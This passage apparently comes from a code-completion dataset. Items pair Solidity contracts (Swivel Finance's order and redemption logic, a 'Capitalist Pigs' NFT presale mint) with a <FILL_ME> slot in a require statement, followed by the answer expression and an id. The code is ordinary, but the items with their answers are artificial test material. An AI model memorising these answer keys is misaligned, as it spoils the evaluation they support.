(underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { MarketPlace mPlace = MarketPlace(marketPlace); require(<FILL_ME>) address cTokenAddr = mPlace.cTokenAddress(u, m); require((CErc20(cTokenAddr).redeemUnderlying(a) == 0), "compound redemption error"); Safe.transfer(Erc20(u), msg.sender, a); return true; } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.burnZcTokenRemovingNotional(u,m,msg.sender,a),'burn ZcToken removing Notional failed'
199,320
mPlace.burnZcTokenRemovingNotional(u,m,msg.sender,a)
'compound redemption failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { MarketPlace mPlace = MarketPlace(marketPlace); // call marketplace to determine the amount redeemed uint256 redeemed = mPlace.redeemZcToken(u, m, msg.sender, a); // redeem underlying from compound require(<FILL_ME>) // transfer underlying back to msg.sender Safe.transfer(Erc20(u), msg.sender, redeemed); return true; } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
CErc20(mPlace.cTokenAddress(u,m)).redeemUnderlying(redeemed)==0,'compound redemption failed'
199,320
CErc20(mPlace.cTokenAddress(u,m)).redeemUnderlying(redeemed)==0
'order cancelled'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { bytes32 hash = Hash.order(o); require(<FILL_ME>) require(o.expiry >= block.timestamp, 'order expired'); require(o.maker == Sig.recover(Hash.message(domain, hash), c), 'invalid signature'); return hash; } modifier authorized(address a) { } }
!cancelled[hash],'order cancelled'
199,320
!cancelled[hash]
'already minted'
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract CapitalistPigs is ERC721, Ownable { using Strings for uint256; enum MintStatus { Closed, Presale, Public } struct TierInfo { uint price; MintStatus mintStatus; uint minId; uint nextId; uint maxId; } mapping(uint => TierInfo) tiers; uint nextTier; // A counter to allow us to keep fresh presale buyers list for arbitrary future mints. uint currentPresale; // currrentPresale => address => hasMinted mapping(uint => mapping(address => bool)) presaleBuyers; mapping(uint => bytes32) presaleRoot; address payable devWallet; string baseURI; uint royaltyRate; uint constant royaltyRateDivisor = 100_000; address payable royaltyWallet; constructor ( string memory _baseURI, address payable _royaltyWallet, address payable _devWallet ) ERC721("Capitalist Pigs", "PIGS") { } // MINTING FUNCTIONS // function mintPresale(uint _edition, bytes32[] calldata _proof) public payable { TierInfo storage tier = tiers[_edition]; require(tier.mintStatus == MintStatus.Presale, "presale minting closed"); require(<FILL_ME>) require(MerkleProof.verify(_proof, presaleRoot[currentPresale], keccak256(abi.encodePacked(msg.sender))), "invalid merkle proof"); presaleBuyers[currentPresale][msg.sender] = true; _mintTokens(tier, 1); } function mintPublic(uint _edition, uint _quantity) public payable { } function _mintTokens(TierInfo storage tier, uint _quantity) internal { } function ownerMint(uint _edition, address _to) external onlyOwner { } // VIEWS // function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function getTierInfo(uint _edition) public view returns (TierInfo memory) { } function isPigInTier(uint _tokenId, uint _edition) public view returns (bool) { } function isOwnerInTier(address _owner, uint _tokenId, uint _edition) public view returns (bool) { } // CREATE & UPDATE TIERS // function createNewTier(uint _price, MintStatus _mintStatus, uint _minId, uint _maxId) external onlyOwner { } function setTierInfo(uint _edition, MintStatus _status, uint _price, uint _maxId) external onlyOwner { } // ADMIN // function setBaseURI(string memory _newBaseURI) external onlyOwner { } function setDevWallet(address payable _devWallet) external onlyOwner { } function startNewPresale(bytes32 _root) external onlyOwner { } function withdrawEth(address payable _addr) external onlyOwner { } function withdrawToken(address token, address _addr) external onlyOwner { } // EIP 2981 ROYALTIES // function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) { } function updateRoyaltyRate(uint256 _rate) public onlyOwner { } function updateRoyaltyWallet(address payable _wallet) public onlyOwner { } }
presaleBuyers[currentPresale][msg.sender]==false,'already minted'
199,509
presaleBuyers[currentPresale][msg.sender]==false